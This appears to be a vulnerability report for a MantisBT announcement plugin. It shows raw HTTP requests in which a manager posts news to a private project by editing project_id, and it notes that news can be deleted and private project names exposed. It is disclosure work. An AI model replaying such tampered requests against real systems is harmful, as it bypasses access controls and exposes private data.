Non authenticated member can post a news to a private project

[jrckmcsb]

When the admin enable the news section a new stuffs will appear like the main field which will use for announcement/news. Some user can have access on it (manager). However it seems that a lot of security issue introduce here..

Description

This allows the attacker to post announcement on a private project even you are not part of it

Steps to produce

• Create two projects public and private
• enable the news
• As admin post a news to that private project

Request

POST /mantisbt-2.24.3/plugin.php?page=Announce/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 209
Origin: http://localhost
Connection: close
Referer: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Cookie: MANTIS_collapse_settings=|sidebar:0; MANTIS_VIEW_ALL_COOKIE=1; MANTIS_PROJECT_COOKIE=1; PHPSESSID=7usorjepb776qjidi5qsg8elb8; MANTIS_secure_session=0; MANTIS_STRING_COOKIE=c16e1a2abfe29f2ae0cd4722fa1d69c8883f2fb7ed79ca412b5b72293cb1e84b; MANTIS_MANAGE_USERS_COOKIE=0%3Ausername%3AASC%3A0; MANTIS_BUG_LIST_COOKIE=9
Upgrade-Insecure-Requests: 1

plugin_Announce_create_token=20201002ulRDzusShT_qtfzjQvzOJrSdwaEg2G05&title=AWESOME+NEWS+FOR+PRIVATE+PROJECT&message=AWESOME+NEWS+FOR+PRIVATE+PROJECT&location=header&project_id=1&access=10&ttl=0&dismissable=on

Response

HTTP/1.1 302 Found
Date: Fri, 02 Oct 2020 11:27:50 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.0.2s PHP/7.1.33
X-Powered-By: PHP/7.1.33
Cache-Control: no-store, no-cache, must-revalidate
Last-Modified: Fri, 02 Oct 2020 11:27:51 GMT
Set-Cookie: MANTIS_collapse_settings=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
X-Content-Type-Options: nosniff
Expires: Fri, 02 Oct 2020 11:27:51 GMT
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' 'self' data:
Location: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

• Here I using a private project with project_id of 1

Manager as attacker

• Create a new announcement

Request

POST /mantisbt-2.24.3/plugin.php?page=Announce/create HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
Origin: http://localhost
Connection: close
Referer: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Cookie: MANTIS_collapse_settings=|monitored:1; MANTIS_VIEW_ALL_COOKIE=2; MANTIS_PROJECT_COOKIE=2; PHPSESSID=24tihn6miqrj33tjrdleo94ef4; MANTIS_secure_session=0; MANTIS_STRING_COOKIE=v7kQ0OCxCPCnyNcBXEGWqV5Oj4UaowOhahhT0UBedcplivtLAgZS-zGkJQOFiIMj; MANTIS_BUG_LIST_COOKIE=5%2C1%2C4
Upgrade-Insecure-Requests: 1

plugin_Announce_create_token=20201002mANdg2UBhW7V-buExLRrPmNcxZ3HrCN2&title=This+is+some+announcement+for+public+project&message=This+is+some+announcement+for+public+project&location=header&project_id=0&access=10&ttl=0&dismissable=on

Response

HTTP/1.1 302 Found
Date: Fri, 02 Oct 2020 11:35:36 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.0.2s PHP/7.1.33
X-Powered-By: PHP/7.1.33
Cache-Control: no-store, no-cache, must-revalidate
Last-Modified: Fri, 02 Oct 2020 11:35:36 GMT
Set-Cookie: MANTIS_collapse_settings=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
X-Content-Type-Options: nosniff
Expires: Fri, 02 Oct 2020 11:35:36 GMT
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'; style-src 'self' 'unsafe-inline'; script-src 'self'; img-src 'self' 'self' data:
Location: http://localhost/mantisbt-2.24.3/plugin.php?page=Announce/list
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

• Do the same thing but this time edit the project_id to any private project
• Send it
• The news will send to that private project

Some notes

These are the stuffs that I observe but I am not sure if this is just part of the configuration feature (this can be prevent if the admin just set the configuration to admin..)

Delete news for private project

• allows the manager to delete the news/announcement for that private project

View the private project name

• allows to disclose the private project name
  

All these stuffs can be done after going to plugin.php?page=Announce/list I just add this information.... I believe these issues should be consider to fix/update